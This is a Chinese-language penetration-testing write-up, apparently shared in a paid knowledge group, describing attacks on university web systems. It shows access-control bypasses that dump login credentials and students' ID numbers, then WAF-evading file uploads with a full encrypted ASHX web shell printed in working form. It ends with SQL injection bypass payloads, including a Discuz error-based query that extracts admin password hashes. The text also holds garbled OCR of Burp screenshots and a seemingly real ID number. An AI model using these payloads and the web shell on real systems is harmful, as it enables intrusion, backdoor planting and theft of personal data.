月球出事，知识星球以后由我更新 没收一分钱勿喷 只是他出事的时候给我交代让我帮忙更新点，有些是库存历史洞了
漏洞点1：越权
url:https://xxxx.xxxxx.edu.cn  
某开大学证书站 (同系统不同站  思路一样)
通过superadmin账号登录获取日志接口信息
password替换成
ecfe6335568d9aa8fxxxxxxxd92bca
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日志接口获取所有登录过的账号和密码
post /sys/log/loadLogLoginAndOutList
rows=10&page=2&order=asc&remote_ip=&username=&startTime=&endTime=

[image: image2.png]Burp Project Intruder Repeater Window Help

| Dashboard | Target w Intruder | Repeater | Sequencer | Decoder | Comparer | Extender | Project options | User option:

HTTP history | WebSockets history | Options |
-

/ Requesttc s oom omo2ducni80 ™1

[ Forward H Drop | Interceptis on [ Action

Params | Headers | Hex |

POST /api/auth/pgin HTTP/1.1

Host edu.cn

Conterecongsy .0

Accept: *™*

cs_token: null

X-Requested/With: XMLHttpRequest

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Geck m .0.4472.77 Safari/537.36
Content-Type: application-www-form-urlencoded; charset=UTF-8

Origin: http adu.cn

Referer: http u.cn,

Accept-Encoding: gzip, aerate

Accept-Language: zh-CN.7h:a=0.0

Cookie: sid=38e8af0b- J-ee87a409648a
Connection: close

usernames=" 5&password=143e069b M —— s g0 &keapteha=




拿获取的学生账号登录
15xxxxxx

3a453xxxxxxxxxxxx1eef6d9
接口获取学生个人信息，身份证+姓名+学号
/gradms/base/infoStutrainInfo/loadInfoStutrainInfoList?state=1
GET改为POST传输

rows=10&page=1&order=asc&orgCode=&majorUniqueId=&grade=&perNum=&perName=
page是页数
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POST /auth/switchPosition
positionId=1
直接成为管理员
[image: image4.png]Headers
POST /authiswitchPosition HTTP/1.1

[Raw] Heaoers T e |

HTTP/1.1 200

Host edu.i Content-Type: application/json;charset=UTF-8

Conterw cengu. 12 Content-1 enath- 417G

Accept */* Date: Sm = mm [ ] n

cs_token: null Connection: close

X-Requested-With: XMLHttpRequest

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/53 ML, like Gecko) B 1R

Chrome/91.0.4472.77 Safari/537.36

Content-Tns - sasdiaation/x-www-form-urlencoded; charset=UTF-8
Origin % ~du.cn

Referer: du.cn/index.html

Accept-Encoumg: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9

Cookie: sid=07fde403-286b-4517 7
Connection: close

positionid=1 /





漏洞点2：文件上传GetShell
漏洞点1：
网站存在一处上传

WAF是安全狗的  头像处

先上传一个11.jpg的文件，然后抓包的时候改成11.html.ashx

然后记住104DCCCA002D5F067BFD970D2CF37410这样就绕过检测

直接上传11.ashx会waf拦截

[image: image5.png]ikl otk o ot aft | o9 | i s s |l b il |l s

A7 % |18 x |19 x 20 x (21 x | 22

User-Age.... avenal5.0 (Windows NT 10.0; Winbd; x64; 1v85.0) Gecko/20100101 Firefox/85.0
Accept: applicationfjson, textjavascript, */, 4=0.01
Accept-Language: zh-CN zh;=0.8 2 TW,g=0.7 zhHEC;
Accept-Encoding: gzip, deflate

Content-Type: applicationfjson

X-Requested-With: XMLHttpRequest

ContentLength: 25

5,en-US;q=0.3 en,

Origin: hity ieducn
Connection: close

Referer

¥ 3 edu. cr/http/777 264767066697 37 468656265737 421 622429335346 4230068832

93542a7b8840ckSfac37/Component/NewEditorimgClipUpload aspx?img=UssrPhotogdirectory=User
Files/Blog/admin/BasicFilesfilename=time2isSteadyCropDiv=true&isCopy=0&cropDivScale=140*14

08fid=02prex=/
Cookie: v,

{fileName:"11.html ashx}

&
2] (<] (=] (2] [1ype a search tem 0 matches
2EEE

Content-Length: 40
Connection: close
Access-Control-Allow-Origin: *
Cache-Control: private, max-ags=0
X-Aspnet-Version: 0

X-Powsred-By: WAF2.0
XUa-Compatible: IE=edge chrome=1

{d":"104DCCCAO02D5F067BF DI70D2CF37410°)

Go Cancel | [ < |v ][ >|v Target: I Mi.edu.cn EH
Request Response
ﬁ Params | Headers | Hex E Headers | Hex
POST A HTTP/1.1 200 OK
/hitp/777 26476706637 37 4686562657 37421 622429335346, 588a293542a7 b8840chSfac37/Seni Server: none
ce/SwiUploadSenvice. asmx/GetUploadTicket? edu.cn HTTP/1.1 Date: Mon, 15
Host: i.edu.cn Content-Type: application/json; charsst=utf8

L?J CJ LJ u Type a search term

0 matc




然后继续吧得到的Ticket替换之前成11.html.ashx的
然后插入免杀一句话，11.jpg改成11.html.ashx并且替换ticket改成 104DCCCA002D5F067BFD970D2CF37410
[image: image6.png]———-332946816124044967 963056640863
Content-Disposition: form-data; name="fleToUpload": flename="11html ashx"
Content Type: image/jpeg

%@ Language="C# Class="Handler!" %>
public class Handler!

System Web IHttpHandler System Web, SessionState. IRequiresSessionState
{

public void ProcessRequest(System. Web HtpContext Context)
{

try{string key
System. BitConverter ToString(new
System. Security. Cryptography. MDSCryptoSeniceProvider). ComputeHash(System Text Encoding De
aut GetBytes(pass + key).Replac byte[] data =
System. Convert FromBass64String(Context Request[pass]);data = new
System. Security. Cryptography RijndaelManaged() CreateDecryptor(System. Text Encoding. Default G
Bytes(key), System Text Encoding Default GetBytes(key) TransformFinalBlock(data, 0,
data Lengthy.if (Context Session["payload’] == null{ Context Session["payload"
(System Reflection Assembly)typeof(System Reflection Assembly) GetMethod("Load", new
System. Type() { typeof(bytel]) ) Invoke(null, new object]] { data ) :Jelse{ object 0 =
(System Reflection Assembly)Context Session|"payload"]) Createlnstance("LY");
» Equals(Context): o Equals(data); byte[] r = System Convert FromBase64String(o ToStringQ);
Context Response Wiite(mds Substring(0, 16);
Context Response Wiite(System. Convert ToBaseb4String(new
System. Security. Cryptography RijndaelManaged() CreateEncryptor(System Text Encoding. Default
:tBytes(key), System Text Encoding Default GetBytes(key)) TransformFinalBlock(r, 0, r Length)));
Context Response Wiite(mds Substring(16):jcatch(System Exception)(}

b

02ch962ac59075h' string pass = *123";string md5 =

public bool IsReusable

{
get

HTTP/1.1 200 OK
Serer: none

Date: |

Content-Type: text/plain; chars
Content-Length: 22
Connection: close
‘Access-Control-Allow- Origin: *
Cache-Contol: private

Vary: Accept-Encoding
X-Aspnet-Version: 0
X-Powered-By: WAF/2.0
XUa-Compatible: IE=edge chrome=1

20 71.ashx





WAF检测文件名和内容
这里用到两个脚本一个是ashx免杀马
一个是生成文件的马，都能绕过安全狗检测
ashx马：
<%@ Language="C#" Class="Handler1" %>
public class Handler1 : System.Web.IHttpHandler,System.Web.SessionState.IRequiresSessionState
{
public void ProcessRequest(System.Web.HttpContext Context) { try{string key = "202cb962ac59075b";string pass = "123";string md5 = System.BitConverter.ToString(new System.Security.Cryptography.MD5CryptoServiceProvider().ComputeHash(System.Text.Encoding.Default.GetBytes(pass + key))).Replace("-", "");byte[] data = System.Convert.FromBase64String(Context.Request[pass]);data = new System.Security.Cryptography.RijndaelManaged().CreateDecryptor(System.Text.Encoding.Default.GetBytes(key), System.Text.Encoding.Default.GetBytes(key)).TransformFinalBlock(data, 0, data.Length);if (Context.Session["payload"] == null){ Context.Session["payload"] = (System.Reflection.Assembly)typeof(System.Reflection.Assembly).GetMethod("Load", new System.Type[] { typeof(byte[]) }).Invoke(null, new object[] { data }); ;}else{ object o = ((System.Reflection.Assembly)Context.Session["payload"]).CreateInstance("LY"); o.Equals(Context); o.Equals(data); byte[] r = System.Convert.FromBase64String(o.ToString()); Context.Response.Write(md5.Substring(0, 16)); Context.Response.Write(System.Convert.ToBase64String(new System.Security.Cryptography.RijndaelManaged().CreateEncryptor(System.Text.Encoding.Default.GetBytes(key), System.Text.Encoding.Default.GetBytes(key)).TransformFinalBlock(r, 0, r.Length))); Context.Response.Write(md5.Substring(16));}}catch(System.Exception){} } public bool IsReusable { get { return false; } } }
ashx生成马:
<%@ WebHandler Language="C#" Class="Handler" %>
using System;
using System.Web;
using System.IO;
public class Handler : IHttpHandler {
public void ProcessRequest (HttpContext context) { context.Response.ContentType = "text/plain"; //偬(頤
目录遍历（全局都是遍历）
可以看到解析了并且内容也出来了
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漏洞2

账号注册随意  一般都有头像上传或者申请要上传证件照什么的
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[image: image9.png]Scanner | Intruder

Repeater ‘ ‘Sequencer ‘Demdev ‘Compaev ‘Ex&eﬂdev ‘Pm;ecl options | User options ‘Alens ‘Fasljsuﬂ scan

6 [7]8x[9x

4[5«

Request

Raw | Params | Headers | Hex

Target: httyy

Response

Raw | Headers | Hex

skai.educn [#][ 2

POST Jregister/upload_headimg HTTP/1.1

[+ HTTPA.1200 0K

Host:j . ankai.edu.cn r Date: Tue, 20 A,
User-Agent: Mozilla.0 (Windaws NT 10.0; Winéd; x64; v67.0) Geck ] Content Type: applicationfjson; charsei=Gtis
Accept: applicationfjson, textjavascript, 7% g=0.01 Connection: close
Accept-Language: zh-CN zhi=0.8 b TW,q=0.7,zh-HK;q=0.5 en-US;q=0.3 en;q=0.2 Expires: Thu, 19 Nov 1981 08:52:00 GMT
Accept-Encoding: gz, deflate Cache-Cantrol: no-store, no-cache, mustrevalidate
Referer: ht kai.edu.cn/ Pragma: no-cache
XRequested-With: XMLHitpRequest Set.Cookie: ci_session=307 cu3mBijij6c 038b; path=, HitpOnly
Content Type: multipart/form-data; boundar 189480077 4293051917 2503181173 X-Content-Type-Optians: nosniff
Content-Lenath: 347 X-Download-Options: : noopen
Origin: it iankai edu.cn Referrer-Policy: origin
Connection: ciose XXSS-Protection: 1; mode=block
Cookie: UM_distinctid=177abca35 1776057~ 0013f48-4c3217F144000-177 abca35186c4; Content-Secuity-Policy: default-src 'self, script-sic 'self ‘unsafe-infing’ unsafe-gval'* w.qq.com ;
ci_session=007cu3m@ijijfdg@3poucbibe b img-sic 'self * data: ; style-src 'self ‘unsafe-inling’, font-stc ‘self data: ;
X-Frame-Options: SAMEORIGIN
418948007742932519172503181173 X-Protected-By: NKSOC
CantentDisposition: form-data; nam Content-Length: 100
Cantent Type: image/jpeg
{"state".0,"headimgurl”"VpublicVuploadsVregisters\130682199601 106917V1.jpg","headimg":"1.jpg"}
1
418948007742932519172503181173
Content-Disposition: form-data; name="id_no"
130682199601106917
418948007742932519172503181173
" I
w CJ u m Type a search term 0 matches w CJ u m Type a search term 0 matches
Done 794 bytes | 60 milli





如果上传php-waf的话拦截

[image: image10.png]Request

EPmn\s Headers | Hex

Response

Eﬂeadusﬂexmkaﬂa

POST /registerfupload_headimg HTTF/1 1
Host ankai edu.cn

User-Agent: Wozilla/5.0 (Windows NT 10.0; WinB4; x64; :87.0) Gecka/20100101 Firefox/67.0

Accept: applicationfjson, textfjavascript, */*
Accept-Language: zh-CN,zh;g=0.8 Zh-TW. g
Accept-Encading: gzip, deflate

Referer. ht ankai edu.cn/
X-Requested-With: XMLHttpRequest
Content-Type: mutipartform-data; bounday
Content-Lenath: 347

Origin: htt; nankai.edu.cn
Connection: close

Cookie: UM_distinctid=177abca3517

7 cu3mij 0b1bdh08038h

0l
7 2hHK

ci_session=

-4189480077429325 1917250318173
Content-Disposition: form-data; name="ie"; filenam
Content-Type: imagefjpeg

1

-4189480077429325 1917250318173
Content-Disposition: form-data; name="id_no"

130682199601106917
-418948007742932519172503181173

R

5.en-USq=03 enq=0.2

418948007742932519172503181173

4C3217£144000-177 abca35186c4;

4

@)= E) &) [ searnom
Done

0 matches

56QvgmAbJe1b2BixUHXtOkbQIUSIx2Z/GOfuAKBMTL2nIaGF M2vidnMbR+4plICe YVO7 bwzd EFvkPS k
97y Y dhBnE7 dDQWTZ62E2bPynS2T/XP xtKLafkemIWICSXWIDNOBIOAMaOFtn WU +APXEGke3VO
FgIVxuzw3Dagq19Hic 1Y IEGUOHNXTAUESNF FjzIZu/gkSywlRdHOHT x/ZJL seeRLAF +sqMzkwl
VTOPaGwWpFbdhoHaKL, . zzXasvEz9BLibmVdlTusnNa0n1 WIQWE3ZpIWleajLIBAXmKSbCIWDY
JUA0SUGSbI/NIaR2tUThaRBE23VOVPIWEGBhp4AZ3MywOheaCFE/edmTxtGEWIOATWFINIQU
A9VBQOjSBVSNSaMeIbBI3mZENZryXfyBpEak:+813jaNLyDekHLO39rpP Y pud33MQeEIaR5 ek chRXr
AERDAMICKNIGKridsaHhIiPiLywPkq2SUMKI2AVBKAE +AD210NWEA/gndZBpHi-+qsN/NnXyJcb3CE
bawsMCVXSIWIZoIMLeCTwLeZZL s JPIAHGDGBZNL7 KASBaBIUY 02kc3ay Ky T8 1vaCkWILOIGTX
JixDNF ZibghBF 1Y K2 THKKxNeaNISnOF YwcP AJBNH/GEBid 3 0atiBjrkKRAKLMEKy30WKRRQOIK
EWATA@GPJSIWASBEnmN/ngIBFVjhaHD2ATEGbgS+C1WHICefloA0poTEpbCImkRQswmMICB/2Y/
WUF ZBpWEPAUAY donAad DVAMAKACYMXRTnWS 08mzdNAIMCI0Z4/AWS 04 HAZOKQUNSGUCra
dkHSIsQs1DULBCLZdBBIKXUBCBF/NFkWIKy3aamQMIBIY peDrfBiwLlY Sou7 hs OMuhfcRIIWXnz5GOC
CGEAILCXUDXToxTH7DVhgoSIGEEEIDNRF gLeVsUihmZigky3hZhUtahBBCNKOXY ClaligaCthuEoU
MOFWOIKEEELKdViHjaU-+Y BEEMNWBERLikjSlo0Q0gmMAisQ10zpMVI7Vy GtQgghRETHPATX
lewmJBBp6 (0uauSF QEEEKIUR/ES+1HB]K3KzB05wgS Y sOffghxkDHIyyMY3y0rkh Y hhB BifnmZelB
3GhIDERUDYF ZbSVQEEEKI2ZngY C/DRurf+zJuv+2qEL2h7 i UOGBMHCrcQQiyKDnlwwjQRTEXD
TrqsatRGLCTIDXVRMgHumRycrLRITBNU12KQgihAWNMHsiaDICkw/1 dhRety Kym77s1OVBE +eFi
GEEGLhAMN7KEanSUzbSkzbioBH+EIZRXKyn)VHh+2VBAELT YIcBHQanAAAAAEIF TKSUGMCC"
6 0 9 9 3K U e B A B, VR SRR . </p><p
footer"></div></div></div><script
ext/javascript”>Hfunction(ffunction e((f(n[r]return nfrl.exportsivar
exports:{J,id:r.loaded:!}return
[].call(o.exports,o,0.exports,e),0.loaded=10,0.exportsjvar

! e(O)}([function(t,e,n){n(1):var =function{{function t{)return
1<102"0"+t:G}var e=new Datereturn
e.getFullYear)+""st(e.getMonth(+1)+""+t(e.getDate()+"
““+t(e.getMinutes()}):document. getElementByld(“time").
1) functiont,e) Q) </script>

</hody></htmi><1- event_ic: 950197125cb047859b370d577b3d50%a >

<1 event_id: 60bbaed123314966b40651bb3ded07h >

n=Ce.m

w w u m Type a search term 0 matches

45 093 bytes | 107 millis




[image: image11.png][1x[2x[3x[4x[5x[6x[7x]8x[gs].|
Go Cancel | [ < [v | [ >]v Target: htp:/jfyhzbx.nankai.edu.cn @@
Request Response
Raw | Params | Headers | Hex Raw | Headers | Hex
POST /renisterfupload_headimg HTTP/1.1 \_A HTTP/1.1200 OK It
Host ankal sdu.cn Date: Tuz, 20 Api

User-Agent: Mozilla/5.0 (Windows NT 10.0; Wing4; x64; 1v87.0) Gecko20100101 Firefox/&7 0
Accept: application/json, text/javascript, % =001

Accept-Language: zh-CN zh;q=0.8 2h-TW;q=0.7,zh-HK: g=0.5,en-US:4=0.3 enq=0.2
Accept-Encoding: gzip, deflate

Referer vankai edu.cn/
X-Requested-With: XMLHttpRequest
ContentType: multipartform-data; boundar
Content-Lenath 331
Origin: it
Connection: close
Cookie: UM_distinctid=177abca35177e-05~
ci_session=907 cu3ir “hdviouoon

18948007742932519172503181173

kai.edu.cn

4000-177abca35186c4;

418948007742932519172503181173
Content-Disposition: form-data; name="fle"; filzname="
Content-Disposition: filename
Content-Type: image/jpeg

php

1

418948007742932519172503181173
Content-Disposition: form-data; name="id_no"

130682199601106917
418948007742932519172503181173~

0 matches

(2] (=] (2] (2] [1ype @ search term
Done.

Content-Type: application/jsan; charset=utt8
Connection: close

Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache

Set-Caokie: ci_session=307c1
X-Content-Type-Options: nosnit
X-Download-Options: * noopen
Referrer-Policy: origin
XXSS-Protection: 1; mode=block
Content-Security-Policy: default-stc 'self; script-src 'self Unsafe-inline’ unsafe-eval *wx.qg.com ;
img-sc 'self * data:; style-src ‘self unsafe-inling’, font-src 'self data: |

XFrame-Options: SAMEORIGIN

XProtected-By: NKSOC

Content-Length: 100

9pouoh1bdh0B038b; path=/; HttpOnly

{'state™0,"headimgur VregistersV1306821  )1106917V1.php" "headimg”:"1.php”

0 matches

(2] (=] (2] (2] [1ype @ search term

794 bytes | 163 millis




Content-Disposition: form-data; name="file"; filename="1.html 
Content-Disposition: filename="."
双写Content-Disposition拼接绕过
判断第一个filename获取不到闭合换下行组合白名单闭合绕过
漏洞点3：SQL注入两处Bypass

注入点
/apps/MyVideo/TeacherSchool/MyStudent.aspx
注入绕过
11'+//AND+//(//SELECT//+2868+//FROM//+(//SELECT//(SLEEP(2)))pcFy)+//AND//+'
[image: image12.png]Target | Proxy ‘Spdev ‘Sc’mev Intruder ‘Rgpﬂu ‘ ‘Sequencer ‘Demdev Comparer ‘Ex&eﬂdev ‘Pm;ecl options ‘Usev options ‘Alens
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Go Cancel | <|v ][ >|v

Target: hitps:/iwebvpn.nankai.edu.cn @ @

Request Response
Raw | Params | Headers | Hex | Viewstate Raw | Headers | Hex | HTML | Render
POST [ HTTP/1 200 OK In
Inttpr77™ T3U6042300688a29354237b8840cb Hac37/apps [ Semer: none M
My Videol  eacherSchoolMyStudent. aspx H1 1P/1.1 Date: Mon, 01 h
Host: ki edu.cn Content Type: text/html; charset=utf8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Wind; x64; v86.0) Gecko/20100101 Firefox/86.0 Connection: close
Accept: textihtml application/xhtmk+xmi, application/«ml 4=0.9 imagefwebp *7*q=0.8 Acesss-Control-Allow-Origin: *
Accept-Language: zh-CN zh;=0.8 zh-TW, q=0.7 zh-HK, 4=0.5,en-US;4=0.3,en4=0.2 Cache-Control: private
Accept-Encading: gzip, deflate Vary: Accept-Encoding
Content Type: application/x-www-form-urlencaded X-Aspnet-Version: 0
Content Length: 267 X-Powered-By: WAF/2.0
Origin: https: ankai.edu.cn X-Ua-Compatible: \E:edgm
Connection: close ContentLength: 19880 -
Reforer
hitps:/A \-edu.CrVhttp/777 26476706 6697 37 46865 12933534604230068822
93542a7bBBA0CHac37 /apps/MyVideo/TeacherS chool/MyStudent aspx
Cookie: show_vpn=0; <IDOCTYPE htmi PUBLIC "//W3C/DTD XHTL 1.0 Transitional/EN"
UM_distinctid=177 abca35177 e-057 acdc000fM48-4c3217F1 44000-177 abcad5186c4; v 3. 0rg/ TR/ xhtmi1/ DTOchtmit Aransitional atd">
wengine_vpn_ticket i_edu_cn=Bdb177chb1c0c329; refesh=0
Upgrade-Insscure-Requests. 1 <html xemins=""tp:/Aveanw. 3. 0rg/1999/xhtrml">
<head id="Head1"><msta http-equiv="ContentTyps" content="text/html; charset=utf&"/><title>
_ VIEWSTATE=%2FwEPDWULLTESM{UzMzgyMjhkZA%3D%3D&ct00%24ContentPlaceHoldsr! %2 TR
AhidKeyWord=1 14/ /AND+/**/(/*/SELECT/*/+2868+/**/FROM/™/+(//SELECT/*/(SLEEP())pcF <Hitle>
J)+/ANDI/+&.ct00%24 ContentPlaceHolder| %24btnSearch=2ct00%24CantentPlaceHoldsr| %24
hidUrPager= <script>
var _vpn_hostname_data = *
var _vpn_protocol_data
var __vpn_protocol_host
var _vpn_app_hostname_data =
“TT1264767060697374686562657374216212429335346 0423 b8840ch9fac3T;
var __vpn_app_protocol_data = "http"
var _vpn_app_port_data
var _vpn_js_file = “/wengine-vpn/js/main.js?ver=20210106.20";
L var _vpn_worker_mode
[™ " var " von host crunt= frue: [
w CJ u m Type a search term 0 matches w CJ u m Type a search term matches

Ready

20,190 bytes | 8,146 millis




https://xxxx.nankai.edu.cn/http/77726476706e69737468656265737421f2e30f92263e635177468ca88d1b203b/faq.php?action=grouppermission&gids[99]=%27&gids[100][0]=)%20and%20(select%201%20from%20(select%20count(),concat((select%20(select%20(select%20concat(username,0x27,password)%20from%20cdb_members%20limit%201)%20)%20from%20information_schema.tables%20limit%200,1),floor(rand(0)2))x%20from%20information_schema.tables%20group%20by%20x)a)%23
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Discuz! info: MySQL Query Error

Tima
Script: /faq.php

SQL: SELECT * FROM [Table]usergroups u LEFT JOIN [TableJadmingroups a ON u.groupid=a.admingid WHERE u.groupid IN ('7",\',") and (select 1 from (select count(), concat((select (select (select
concat(username, 0x27, password) from [Table]members limit 1) ) from " information_schematables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#)

Error: Duplicate entry 'admin'0cfdfd2c72d586ce8ce6b942121 7 1" for key 'group_key"

Errno.: 1062
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成功注入出数据

